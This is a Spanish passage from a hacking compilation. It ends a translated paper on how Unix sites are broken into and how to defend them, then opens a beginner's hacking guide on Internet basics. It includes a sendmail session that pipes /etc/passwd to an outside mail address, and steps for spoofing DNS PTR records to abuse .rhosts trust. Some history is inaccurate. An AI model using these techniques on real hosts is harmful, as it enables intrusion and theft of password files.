Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail [email protected] < /etc/passwd" 250 "|/bin/mail [email protected] < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver apendice D para informacion sobre como conseguirlo) es la unica variante del sendmail con todos los bugs recientes corregidos (ni de coña J). Confianza Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la estrategia practica que hemos seguido previamente para meternos un poco mas en la parte teorica, y discutir brevemente la nocion de la confianza. Las cuestiones e implicaciones de la vulnerabilidad aquí, son un poco mas sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en el contexto de este texto usamos la palabra confianza siempre que se da la situacion de que un servidor (siempre que un host permite acceso remoto se le puede llamar servidor) permita que un recurso local sea usado por un cliente sin autentificacion de password cuando dicha autentificacion es normalmente requerida. En otras palabras, limitamos arbitrariamente la discusion a los clientes “disfrazados”. Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y hosts.equiv que permiten el acceso sin verificacion de password; servidores basados en ventanas que permiten a los sistemas remotos el uso y abuso de privilegios; archivos exportados que controlan el acceso via NFS, y mas. Casi todos estos dependen de la conversion del IP del cliente al nombre del host para determinar si se concede el servicio o no. El metodo mas simple usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando un servidor tiene una direccion IP (de una conexión de un cliente) y desea coger el correspondiente nombre del host del cliente.

Page 120: El Libro Negro Del Hacker2

120

Auqnue el concepto de como funciona la confianza del host es bien sabido por muchos administradores de sistema, los peligros de la confianza, y el problema practico que representa, sin tomar en consideracion la interpretacion del nombre del host, es uno de los problemas menos entendidos que conocemos en Internet. Esto va mas alla de los obvios ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas – de hecho, muchos de los utiles servicios en UNIX estan basados en el concepto de que sites bien conocidos (para un administrador o ususario) son de alguna manera de confianza. Lo que no se entiende es como las redes atan de forma tan estrecha la seguridad entre lo que normalmente se consideran hosts inconexos. Cualquier forma de confianza puede ser engañada, burlada, o derribada, especialmente cuando la autoridad que tiene la responsabilidad de chequear los credenciales de un cliente esta o bien fuera del dominio administrativo del servidor, o cuendo el mecanismo de confianza esta basado de alguna forma en metodo que tiene una forma debil de autentificacion; normalmente ambos son el caso. Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo que sea) ha sido comprometido, el intruso puede convencer al host victima de que el viene de cualquier host de confianza; ahora es suficiente con encontrar que hosts son de confianza para la victima. Esta tarea es en gran medida facilitada examinado de donde los administradores de sistema y las cuentas del sistema (tales como root, etc.) se conectaron por ultima vez. Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi como otras cuentas del sistema se conectaron desde big.victim.com. Cambias el registro PTR para evil.com de forma que cuando intentes hacer un rlogin (login remoto) desde evil.com a victim.com, evil.com intentara buscar tu nombre de host y encontrara lo que pusistes en el registro. Si el registro en la base de datos DNS es asi: 1.192.192.192.in-addr.arpa IN PTR evil.com y lo cambias por: 1.192.192.192.in-addr.arpa IN PTR big.victim.com entonces, dependiendo de como sea de ingenuo el software de victim.com, victim.com creera que el acceso proviene de big.victim.com, y, asumiendo que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te sera posible aceder sin tener que proporcionar un password. Con NIS, es cuestion de o bien editar la base de datos del host en el NIS maestro (si es que este esta controlado por el intruso) o de burlar o forzar el NIS (ver discusion sobre la seguridad del NIS arriba) para proporcionar a la victima cualquier informacion que desees. Aunque mas complejos, dañinos e interesantes ataques pueden ser realizados por medio del DNS, el tiempo y

Page 121: El Libro Negro Del Hacker2

121

el espacio no permiten cubrir dichos metodos aquí. Dos metodos puedem ser usados para prevenir dichos ataques. El primero es el mas directo, pero quizas mas poco practico. Si tu site no usa ningun metodo de confianza, no seras tan vulnerable al engaño de host. La otra estrategia es la de usar protocolos encriptados. El usar el seguro protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido “roto” criptograficamente, aun da mas seguridad que los procedimientos de autentificacion RPC que no usan ningun tipo de metodo de encriptacion. Otras soluciones, tanto de hardware (smartcards) como de software (Kerberos), estan siendo desarroladas, pero estan o bien incompletas o requieren cambios en el software de el sistema. El apendice B detalla los resultados de un estudio informal tomado de una variedad de hosts en Internet. protegiendo el sistema Es nuestra esperanza el que hallamos demostrado que incluso algunos de los aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente) pueden ser “municion” para determinados crackers de sistemas. Pero, por supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores jamas estarian encendidos, y enganchados a una red con literalmente millones de intrusos en potencia. Mas que dar avisos de que deberia o no ncenderse, ofreceremos algunas sugerencias generales: Si no puedes quitar el servicio finger, considera el instalar un nuevo finger daemon. Es raramente necesario el revelar el home directory de un usuario y la procedencia de su ultimo acceso. No corras NIS a menos que sea absolutamente necesario. Usalo lo menos posible. Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo. Trata de exportar sistemas de archivos de solo lectura cuando sea posible. “Fortifica” y protege los servidores (ej, los hosts que dan un servicio a otros hosts – NFS, NIS, DNS, o lo que sea.). Solo permite cuentas administrativas en dichos hosts. Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador de puertos (pormapper). Elimina todos aquellos que no sean totalmente necesarios. Usa los inetd wrappers de Wietse Venema, no para otra funcion que la de tener un log de las fuentes de conexiones a tu host. Esto aporta grandes mejoras a las caracteristicas de verificacion

Page 122: El Libro Negro Del Hacker2

122

standard de UNIX, especialmente con referencia a los ataques de red. Si es posible, usa los metodos loghost de syslog para obtener informacion relacionada con la seguridad en un host seguro. Elimina los metodos de confianza a menos que su uso sea totalmente necesario. La confianza es tu enemigo. Usa passwords shadowed y el comando passwd para rechazar passwords pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o inactivas. Estate al tanto de la literatura actual (observa la lista de lectura y bibliografua sugerida al final de este documento) y de las herramientas de seguridad; informa a los demas acerca de problemas e incidentes de seguridad. Como minimo, suscribete a la lista de mail del CERT y de la revista PHRACK (ademas de la lista de mail de los firewalls, si tu site esta usando o piensa instalar firewalls) y lee los grupos de news de usenet acerca de seguridad para asi obtener la ultima informacion sobre problemas de seguridad. La ignorancia es el problema de seguridad mas mortal de los que estamos al tanto. Instala todos los parches de seguridad tan pronto como sea posible, en todos tus hosts. Examina la informacion de los parches de seguridad de otras distribuciones – muchos bugs (rdist, sendmail) son comunes en muchas variantes UNIX. Es interesante el ver que soluciones comunes para problemas de seguridad , tales como usar Kerberos o el usar passwords de usar y tirar o tokens digitales no son efectivas contra muchos de los ataques discutidos aquí. Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son la solucion TOTAL a los problemas de seguridad – son parte de un esfuerzo ayor de proteger tu sistema. Conclusiones Tal vez ninguno de los metodos expuestos aquí sean sorprendentes; cuando se escribio este documento, no aprendimos mucho sobre como irrumpir en sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros propios sistemas y en sites amigos, lo efectivos que son estos metodos a la hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar de teclear todo esto a mano, y deseando mantener nuestros propios sistemas mas seguros, decidimos poner en practica una herramienta de seguridad (SATAN) que trata de chequear hosts remotos al menos para alguno de los problemas discutidos aquí. La tipica respuesta, cuando informabamos a la gente acerca de nuestro documento y nuestra herramienta, era algo del estilo de “eso suena bastante peligroso – espero que no vayas a darlo a todo cristo. Pero ya que tu confias en mi, podria tener una copia?”

Page 123: El Libro Negro Del Hacker2

123

Jamas pensamos en crear un cookbook o una herramienta de metodos y programas soobre/para irrumpir en sistemas – en vez de eso, vemos que estos mismos metodos fueron usados, todos los dias, contra nosotros y contra administradores de sistema amigos. Creemos que el propagar la informacion que normalmente no era accesible para aquellos que estuvieran fuera del underworld, podemos aumentar la seguridad incrementando la conciancia del peligro.. El intentar restringir el acceso a informacion “peligrosa” sobre seguridad nunca ha sido un metodo muy util para incrementar la seguridad; de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas han sido reticentes a la hora de compartir informacion con otros. Mientras es casi seguro que alguna de la informacion aquí presentada es material nuevo para aspirantes a crackers de sistemas, y que algunos la usaran para ganarse accesos no autorizados en hosts, la evidencia presentada por nuestros tests muestra que hay un monton de sites inseguros, simplemente por que el administrador de sistema no sabe mucho mas – no son estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que tienen libre explorando todas las materias de seguridad pertenecientes a sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil a este tipo de informacion da como resultado sistemas pobremente defendidos. Esperamos (modetamente) que este documento provea de datos muy necesarios sobre como los sistemas son crackeados, y mas aun, explique por que se deben de dar ciertos pasos para proteger un sistema. El saber por que algo es un problema es, en nuestra opinion, la clave para aprender y hacer una eleccion informada e inteleginte para lo que la seguridad de tu sistema significa de verdad. ----- Apendice A: SATAN (Security Analysis Tool for Auditing Networks) Concebido originalmente hace unos años, SATAN es actualmente el prototipo de una vision mas amplia y comprensible de una herramineta de seguridad. En su encarnacion actual, SATAN prueba e informa remotamente acerca de varios bugs y debilidades en servicios de red y sistemas basados en ventanas, asi como tambien detalla tanta informacion util sobre la victima como le es posible. Entonces procesa los datos con un filtro y con lo que se calificaria como un sistema experto para al final generar el analisis de seguridad. A pesar de no ser particularmente rapido, es extremadamente adaptable y facil de modificar. SATAN consiste en varios sub-programas, cada uno de los cuales es un fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que

Page 124: El Libro Negro Del Hacker2

124

testea un host para una debilidad potencial dada. El añadir futuros programas de testeo es tan facil como poner un ejecutable en el directorio principal con la extension “.sat”; el programa principal lo ejecutara automaticamente. Este genera una serie de blancos (usando DNS y una version rapida de ping a la vez para llegar a los blancos en directo), y despues ejecuta cada uno de los programas sobre cada uno de los blancos. Un programa de interpretacion/filtrado de datos analiza despues el resultado, y finalmente un programa de informes digiere todo para ponerlo en un formato mas leible. El paquete entero, incluyendo el codigo fuente y la documentacion, estara disponible libremente al publico, via ftp anonimo y postenadolo a uno de los numerosos foros sobre codigo fuente de Usenet. Apendice B Un estudio informal llevado a cabo en al menos una docena de sites en Internet (educacionales, militares, y comerciales, con unos 200 hosts y 4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts confiados; sin embargo, no era raro el tener unas 100 entradas en el archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba alrededor de 500! (Este no es un record del que uno deberia estar orgulloso de poseer). Adicionalmente, cada uno de los sites directamente en Internet (un site estaba practicamente tras un firewall) confiaba en un usuario o host en otro site – asi que, la seguridad del site no estaba bajo el control directo del administrador de sistema. Los sites mas grandes, con mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con archivos .rhosts, pero el tamaño de estos archivos era mayor, asi como el numero de hosts remotos de confianza. Aunque fue muy dificil el verificar cuantas de las entradas fueron validas, con nombres de host tales como "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de wildcard, nos cuestionamos la sensatez de poner la seguridad de un site en manos de sus usuarios. Muchos usuarios (especialmente los poseedores de largos archivos .rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts, que son intentados reolver como nombre de host validos por muchos sistemas UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS y NIS de engaño del nombre de host discutidas antes para fijar sus nombres de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites (al menos una distribucion es dada con comentarios en sus archivos /etc/hosts.equiv). Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran. Virtualmente todos los administradores saben un monton sobre seguridad y escriben programas de seguridad como hobby o como profesion, y muchos de

Page 125: El Libro Negro Del Hacker2

125

los sites para los que trabajaron hicieron estudios de seguridad o crearon roductos de seguridad. Solo podemos suponernos como sera un site “tipico”. apendice C: Despues de recibir mail de un site que habia sido violado desde uno de nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos que el intruso estaba haciendolo desde una lista de sites “.com” (comerciales), buscando hosts con ficheros de password faciles de robar. En este caso, “facil de robar” se refiere a sites con un nobre de dominio NIS facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos habia llegado el intruso, parecia una buena idea el alertar a los sites que eran en si vulnerables al robo de passwords. De los 656 hosts de la lista del intruso, 24 tenian archivos de password susceptibles de robo – 1 de cada 25 hosts mas o menos!!. Un tercio de estos archivos contenia al menos una cuenta sin password con shell interactivo. Con un total de 1594 entradas, a una media de 10 minutos corriendo un password cracker (Crack) daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja. Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de la cuenta root se encontro en solo 1 hora. El resultado despues de unos dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%) con al menos un password conocido, y 259 de 1594 (1 sexto) passwords adivinados. Apendice D: Como conseguir metodos de seguridad gratis en Internet Listas de mail: o The CERT (Computer Emergency Response Team) advisory mailing list. Mandar e-mail a [email protected], y pedir que se te ponga en su lista de mail. o The Phrack newsletter. Mandar e-mail a [email protected] y pedir que se te añada en la lista. o The Firewalls mailing list. [email protected] Poner lo siguiente: subscribe firewalls o Computer Underground Digest. Mandar e-mail a [email protected], pidiendo que te pongan en la lista. Software gratis: COPS (Computer Oracle and Password System) disponible via ftp anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

Page 126: El Libro Negro Del Hacker2

126

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl, in pub/security. Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28. TAMU is a UNIX auditing tool that is part of a larger suite of excellent tools put out by a group at the Texas A&M University. They can be gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU. Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib. The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

GUÍA DEL HACKING (mayormente) INOFENSIVO

Vol. 2 Número 1

Internet para "capullos"

Las seis Guía del Hacking (casi) Inofensivo del Volumen 1 pasaron a ser enseguida HOW-TOs de hacking. Pero si eres como yo, todos esos detalles de prueba de puertos y jugar con hipótesis y tirar hosts por medio del ping se vuelven un poco mareantes.

Page 127: El Libro Negro Del Hacker2

127

Así que ¿por qué no cogemos aliento, retrocedemos y analizamos que coño es con lo que estamos jugando? Una vez tengamos controlado lo básico, nos podremos mover hacia el hacking serio.

También, he estado peleándome con mi conciencia acerca de si empezar a daros instrucciones paso-por-paso sobre como conseguir acceso root a los ordenadores de otra gente. El pequeño ángel de mi hombro derecho susurra, "El conseguir root sin permiso en ordenadores de otra gente no esta bien." Así que no le digas a la gente como hacerlo." El pequeño demonio de mi hombro izquierdo dice, "Carolyn, todos estos hackers creen que no sabes nada! DEMUESTRALES que sabes como crackear!" El pequeño ángel dice, "Si cualquiera que este leyendo La Guía del Hacking (casi) Inofensivo pone a prueba este truco, podrías meterte en problemas con la ley por conspiración de daños a ordenadores de otra gente." El pequeño demonio dice, "¡Pero, Carolyn, dile a la gente como hacerse root y pensaran que eres GENIAL!"

Así que aquí esta el trato. En este y en los próximos números de la Guía del Hacking (casi) Inofensivo os diré varios modos de conectarse como superusuario en la cuenta root de algunos ordenadores hosts de Internet. Pero las instrucciones dejaran una o dos cosas a la imaginación.

Mi teoría es que si estas deseando abrirte paso por todo esto, probablemente no seas uno de esos ilusos "quiero-ser-hacker" que usareis estos conocimientos para hacer algo destructivo que te plantaría en la cárcel.

Consejo técnico: Si deseas convertirte en un hacker *serio*, necesitaras Linux (una variante freeware de UNIX) en tu PC. Una razón es que entonces podrás crackear la root legalmente todo lo que quieras -- en tu propio ordenador. Fijo que es mejor que esforzarse en el ordenador de otro solo para descubrir que lo que tu creías que era root era una trampa sabiamente puesta y el administrador del sistema y el FBI riéndose de ti de camino a la cárcel.

Linux se puede instalar en un PC con tan solo un 386, solo 2 Mb de RAM y tan solo 20 MB de disco duro. Necesitaras reformatear tu disco duro. Mientras ha habido gente que ha conseguido instalar satisfactoriamente Linux sin desperdiciar su material OS/WINDOWS, no cuentes con conseguir hacerlo. ¡Backup, backup, backup!

Advertencia puedes ir a la cárcel: El crackear la cuenta root del ordenador de otros se convierte en una posibilidad definitiva. Piensa en esto: cuando ves una noticia acerca de un hacker que ha sido pillado, ¿cuan a menudo reconoces el nombre? ¿Cuan a menudo es el último arresto hecho a alguien famoso, como Dark Tangent o se7en o Emmanuel Goldstein? ¡Algo así, como, nunca! Eso es por que los realmente buenos hackers saben como no hacer cosas estúpidas. Aprenden a crackear ordenadores por el desafío intelectual y a averiguar como hacer que los ordenadores sean seguros contra los intrusos.

Page 128: El Libro Negro Del Hacker2

128

No se abren camino a root y lo joden todo, lo que tiende a inspirar a los administradores del sistema a llamar a la policía.

Noticia excitante: ¿Es muy aburrido el hackear solo en tu maquina Linux? Quieto ahí. Ira Winkler de la National Computer Security Association, Dean Garlick del Space Dynamics Lab of Utah State University y yo estamos trabajando para crear hack.net, un lugar donde será legal el irrumpir en ordenadores. No solo eso, estamos buscando sponsors que darán premios en metálico y becas escolares a aquellos que muestren las mayores habilidades hacking. ¿Suena ahora eso más divertido que la cárcel?

Así que, vayamos a nuestro tutorial básico de hacking echando una mirada a la maravillosa anarkia que es Internet.

Fíjate que estas Guías del Hacking (casi Inofensivo) se centran en Internet. Esto es por que hay muchas formas legales de hackear en Internet. También, hay alrededor de 10 millones de estos ordenadores fácilmente hackeables en Internet, y el número crece cada día.

Lo básico de Internet

Nadie es dueño de Internet. Nadie lo ejecuta. Jamas se planeo que fuese lo que es hoy. Simplemente ocurrió, el crecimiento mutante de un experimento de una Agencia de Defensa de Investigación Avanzada de Proyectos de los EEUU en 1969.

Este sistema anárquico sigue atado por que sus usuarios obedecen voluntariamente algunas reglas básicas. Estas reglas pueden resumirse en dos palabras: UNIX y TCP/IP (con un nodo a UUCP). Si comprendes, comprendes de verdad UNIX y TCP/IP (y UUCP), te convertirás en un pez nadando en el mar del cyberespacio, un Uberhacker entre los quiero-ser-hacker, un maestro del universo Internet.

Para ser técnicos, Internet es una red de ordenadores/comunicaciones distribuida globalmente unida por un estándar de comunicaciones común, Transmission Control Protocol/Internet Protocol (TCP/IP) y un poco de UUCP. Estos estándares permiten a cualquiera conectar un ordenador a Internet, el cual se convierte entonces en otro nodo de esta red de Internet. Todo lo que se necesita es coger una dirección de Internet asignada al nuevo ordenador, al cual se le conoce entonces como un "host" de Internet, y unirlo a un enlace de comunicaciones de Internet. Estos enlaces están disponibles ahora en casi todas las partes del mundo.

Si usas un servicio on-line desde tu ordenador personal, tu, también, puedes ser temporalmente parte de Internet. Hay dos formas principales de conectarse a un servicio on-line.

Esta el cybercouch potato connection que todo novato usa. Requiere o bien point-to-point (PPP) o SLIPconnection, que te permite ver bonitas fotos con tu navegador. Si tienes algún

Page 129: El Libro Negro Del Hacker2

129

tipo de paquete de software de tu proveedor, te proporcionara automáticamente este tipo de conexión.

O puedes conectarte con un emulador de terminal a un host de Internet. Este programa puede ser algo tan simple como el programa "Terminal" de Windows 3.1 que esta dentro del icono "Accesorios". Una vez hayas llamado y estés conectado serás simplemente otro terminal de ese host. No te presentara bonitas fotos. Esta conexión será similar a la que se consigue en una vieja BBS. Pero si sabes como usar este tipo de conexión, te podría incluso dar acceso root a ese host.

¿Pero cómo esta el host que usas conectado a Internet? Estará usando alguna variación del sistema operativo UNIX. Ya que UNIX es tan fácil de adaptar a casi todo ordenador, esto significa que casi cualquier ordenador puede convertirse en un host de Internet.

Por ejemplo, yo algunas veces entro en Internet por un host que es un ordenador Silicon Graphics Indigo en Universidad del estado de Utah. Su dirección Internet es fantasia.idec.sdl.usu.edu. Este es un ordenador optimizado para trabajos de animación por ordenador, pero puede también operar como un host de Internet. En otras ocasiones el punto de entrada usado puede ser pegasus.unm.edu, que es un IBM RS 6000 Modelo 370. Este es un ordenador optimizado para investigación en la Universidad de Nuevo México.

Cualquier ordenador que pueda correr el software necesario -- que es básicamente el sistema operativo UNIX -- tenga un módem, y este unido a un enlace de comunicaciones de Internet, podrá convertirse en un nodo de Internet. Incluso un PC puede convertirse en un host de Internet corriendo una de las variantes Linux de UNIX. Después de montarlo con Linux puedes ponerte de acuerdo con el proveedor que selecciones para enlazarlo permanentemente a Internet.

¡De hecho, muchos proveedores no usan más que PCs en red corriendo Linux!

Como resultado, toda la computación, almacenamiento de datos, y el envío, recibo y transporte de mensajes en Internet esta manejado por los millones de ordenadores de muchas clases y propiedad de incontables compañías, instituciones educativas, entidades gubernamentales e incluso particulares.

Cada uno de estos ordenadores tiene una dirección individual que le permite ser accedido a lo largo de Internet si esta conectado al enlace de comunicaciones apropiado. Esta dirección puede estar representada de dos formas: como un nombre o como un número.

Los enlaces de comunicación de Internet están también poseídos y mantenidos del mismo modo anárquico que los hosts. Cada propietario de un host de Internet es responsable de buscar y pagar por un enlace de comunicación que hará que ese host este unido al menos con otro host. Los enlaces de comunicación pueden ser tan simples como una línea de teléfono, un enlace de datos inalámbrico tal como un paquete digital de datos celular, o tan complicados como un enlace de alta velocidad de fibra óptica. Mientras el enlace de comunicaciones pueda usar TCP/IP o UUCP, podrá encajar en Internet.

Page 130: El Libro Negro Del Hacker2

130

De esta manera la red crece sin coordinación global. Un nuevo propietario de un host de Internet solo coge permiso de unir un enlace de comunicación a otro host. Alternativamente, si el proveedor del enlace de comunicaciones decide que este host sea, por ejemplo, un refugio para spammers, puede echar este "site granuja" fuera de Internet. El site granuja tiene entonces que pillar otro enlace de comunicaciones y unirlo a Internet otra vez.

El modo en que la mayoría de estos ordenadores interconectados y enlaces de comunicaciones trabajan es por medio del lenguaje común del protocolo TCP/IP. Básicamente, TCP/IP parte cualquier comunicación de Internet en "paquetes" distintos. Cada paquete incluye información sobre como enrutarlo, corrección de errores, y las direcciones del que lo envía y el destinatario. La idea es que si un paquete se pierde, el remitente lo sabrá y lo volverá a mandar. Cada paquete es entonces lanzado a Internet. Esta red podrá elegir automáticamente una ruta de nodo a nodo para cada paquete usando lo que este disponible entonces, y volver a juntar los paquetes en el mensaje completo en el ordenador al que estaba destinado.

Estos paquetes pueden seguir rutas tortuosas. Por ejemplo, un paquete puede ir desde un nodo en Boston a Amsterdam y de vuelta a los EEUU a su destino final en Houston, mientras otro paquete del mismo mensaje puede ser enrutado por Tokyo y Atenas, y demás. Casi siempre, sin embargo, los enlaces de comunicaciones no son tan tortuosos. Los enlaces de comunicaciones pueden incluir fibra óptica, líneas de teléfono y satélites.

La fuerza de esta red de desvío de paquetes es que la mayoría de mensajes se abrirán paso automáticamente a pesar de la pesada congestión de trafico de mensajes y de que muchos enlaces de comunicaciones estén fuera de servicio. La desventaja es que los mensajes pueden simplemente desaparecer en el sistema. También puede ser difícil el llegar a los ordenadores deseados si muchos enlaces de comunicaciones no están disponibles en ese momento.

De todos modos, todas estas maravillosas características son también profundamente hackeables. Internet es lo suficientemente robusta para sobrevivir -- como claman sus inventores -- incluso a una guerra nuclear. Sin embargo es tan débil que con tan solo un pequeño bit de instrucción, es posible aprender como engañar seriamente al sistema (email falso) o incluso poner temporalmente fuera de servicio el host de otras personas (ping flood, por ejemplo).

Por otro lado, las cabeceras en los paquetes que llevan los comandos hacking dará a conocer la información de la cuenta desde la que un hacker esta operando. Por esta razón es difícil esconderse perfectamente cuando se esta en Internet.

Es esta tensión entre este poder y la robustez y debilidad y el potencial de confusión lo que hace de Internet un recreo de hackers.

Por ejemplo, AQUI ESTA TU TRUCO HACKING QUE HAS ESTADO ESPERANDO DE ESTE NÚMERO:

Page 131: El Libro Negro Del Hacker2

131

ftp://ftp.secnet.com

Este site ftp se posteo en la lista BUGTRAQ, que esta dedicada a la discusión de agujeros de seguridad de UNIX. El moderador es Aleph One, que es un Uberhacker genuino. Si quieres suscribirte a BUGTRAQ, manda un email a [email protected] con el mensaje "subscribe BUGTRAQ."

Ahora, de vuelta a lo básico de Internet.

Historia de Internet

Como mencione arriba, Internet nació como una obra de la Advanced Research Projects Agency (ARPA) de EEUU en 1969. Sus inventores lo llamaron ARPANET. Pero por su valor en la investigación científica, el National Science Foundation (NSF) de EEUU asumió el control en 1983. Pero a los años desde entonces fue gradualmente evolucionando lejos de ninguna fuente de control.

En Abril de 1995 la NFS corto el último nexo de unión. Ahora Internet no esta dirigido por nadie. Simplemente ocurre y queda pequeña a los esfuerzos de aquellos que juegan con ello y luchan con el software y el hardware.

Nada parecido a esto ha ocurrido nunca antes. Ahora tenemos un sistema informático con vida propia. Nosotros, como hackers, formamos una gran parte del motor de mutación que mantiene a Internet evolucionando y creciendo más fuertemente. También formamos un gran parte del sistema inmune de esta exótica criatura.

La idea original de ARPANET era el diseñar un ordenador y red de comunicaciones que pudiera eventualmente ser tan redundante, robusta, y capaz de operar sin control centralizado, que pudiese incluso sobrevivir a una guerra nuclear. Lo que también ocurrió fue que ARPANET evoluciono en un ente que ha sobrevivido al final de un gobierno sin tan siquiera un blip en su crecimiento. Por esto su descendencia, Internet, ha triunfado por encima de los más salvajes sueños de sus arquitectos originales.

Internet ha crecido explosivamente, sin un fin a la vista. En su comienzo como ARPANET tan solo tenia 4 hosts. Un cuarto de siglo después, en 1984, tenia solo 1000 hosts. Pero a lo largo de los 5 años siguientes este número creció diez veces hasta llegar a 10.000 (1989). A lo largo de los 4 años siguientes creció otras diez veces más hasta 1 millón (1993). Dos años después, a finales de 1995, se estimo que Internet tenia al menos 6 millones de hosts. Probablemente estos son ahora alrededor de 10 millones. Parece que todavía no hay fin a la vista al crecimiento increíble de este niño mutante de ARPANET.

De hecho, un asunto que se plantea debido al crecimiento exponencial en Internet es que la demanda puede eventualmente sobrepasar a la capacidad. Por que ahora no hay entidad que posea o controle Internet, si la capacidad de los enlaces de comunicación entre los nodos es muy pequeña, y pasase a estar colapsada, podría ser difícil solucionar el problema.

Page 132: El Libro Negro Del Hacker2

132

Por ejemplo, en 1988, Robert Morris, Jr. soltó un programa tipo virus en Internet comúnmente conocido como "Gusano Morris"/"Morris Worm". Este virus podía hacer copias de sí mismo en cualquier ordenador donde estuviese y entonces mandar copias a lo largo de los enlaces de comunicación a otros hosts de Internet. (Usaba un bug del sendmail que permitía acceso a root, permitiendo al virus actuar como superusuario).

Rápidamente la propagación exponencial de este virus hizo que Internet se colapsase del trafico de comunicaciones y el espacio de disco que le ocupaba.

Por ese entonces Internet estaba aun bajo alguna apariencia de control por la National Science Foundation y estaba conectada a solo unos pocos miles de ordenadores. La Red fue "apagada" y todos los virus limpiados de sus hosts, y entonces la Red se volvió a poner en funcionamiento. Morris, mientras tanto, fue enviado a la cárcel.

Hay alguna preocupación de que, a pesar de las medidas de seguridad mejoradas (por ejemplo, los "firewalls"), alguien pueda encontrar un nuevo modo de lanzar un virus que pudiese "cerrar" de nuevo Internet. Dada la perdida de un control centralizado, el restaurarla de nuevo podría llevar mucho más tiempo si esto llegase a ocurrir otra vez.

Pero restablecer un control centralizado hoy por hoy como el que existió cuando lo del "Gusano Moris" es más que imposible. Incluso si fuese posible, los arquitectos originales de ARPANET probablemente estuvieran en lo cierto cuando afirmaban que la Red seria más susceptible de fallar masivamente que nada si hubiese algún control centralizado.

Tal vez el hecho más significativo del Internet de hoy en día es la falta de control centralizado. Ninguna persona u organización es capaz ahora de controlar Internet. De hecho, la dificultad de control se convirtió en un problema tan pronto como su primer año de operatividad como ARPANET. Ese año el email fue espontáneamente inventado por sus usuarios. Para sorpresa de los administradores de ARPANET, para el segundo año el email contabilizaba la mayoría de la información del sistema.

Ya que Internet había crecido para tener autonomía total, vida propia descentralizada, en Abril de 1995, la NFS abandono la fundación de NFSNET, la columna de comunicaciones de fibra óptica que en un tiempo había dado a la NFS la tecnología para controlar el sistema. La proliferación de enlaces de comunicación y hosts paralelos había sobrepasado por entonces completamente cualquier posibilidad de control centralizado.

Hay varias figuras principales de Internet:

• World Wide Web (www) -- una red de publicación hypertexto y ahora la parte de crecimiento más rápida de Internet.

• email -- un modo de mandar mensajes electrónicos • Usenet -- foros en los que la gente puede postear y ver mensajes públicos • telnet -- una forma de conectarse a ordenadores remotos de Internet • file transfer protocol (ftp) -- una forma de bajarse ficheros de ordenadores remotos

de Internet

Page 133: El Libro Negro Del Hacker2

133

• Internet relay chat (IRC) -- conversaciones en modo texto en tiempo real -- usado originariamente por hackers y otros viejos de Internet

• gopher -- una forma de catalogar y buscar información. Esto se esta haciendo cada vez más obsoleto

Como vosotros surfers de puertos sabéis, hay docenas de otros servicios interesantes pero menos conocidos como el whois, finger, ping etc...

El World Wide Web

El World Wide Web es la característica más nueva de Internet, fechado desde primavera de 1992. Consiste en "paginas Web", que son como paginas de un libro, y enlaces a otras paginas Web desde palabras, frases o símbolos especialmente marcados en cada pagina. Estas paginas y enlaces unidos crean lo que se conoce como "hypertexto". Esta técnica hace posible el unir muchos documentos diferentes que pueden estar escritos por mucha gente y almacenados en muchos ordenadores diferentes alrededor del mundo en un solo documento hypertexto.

Esta técnica esta basada en el standard Universal Resource Locator (URL), que especifica como conectarse al ordenador y acceder a los archivos de este en los que se encuentran los datos de la pagina Web.

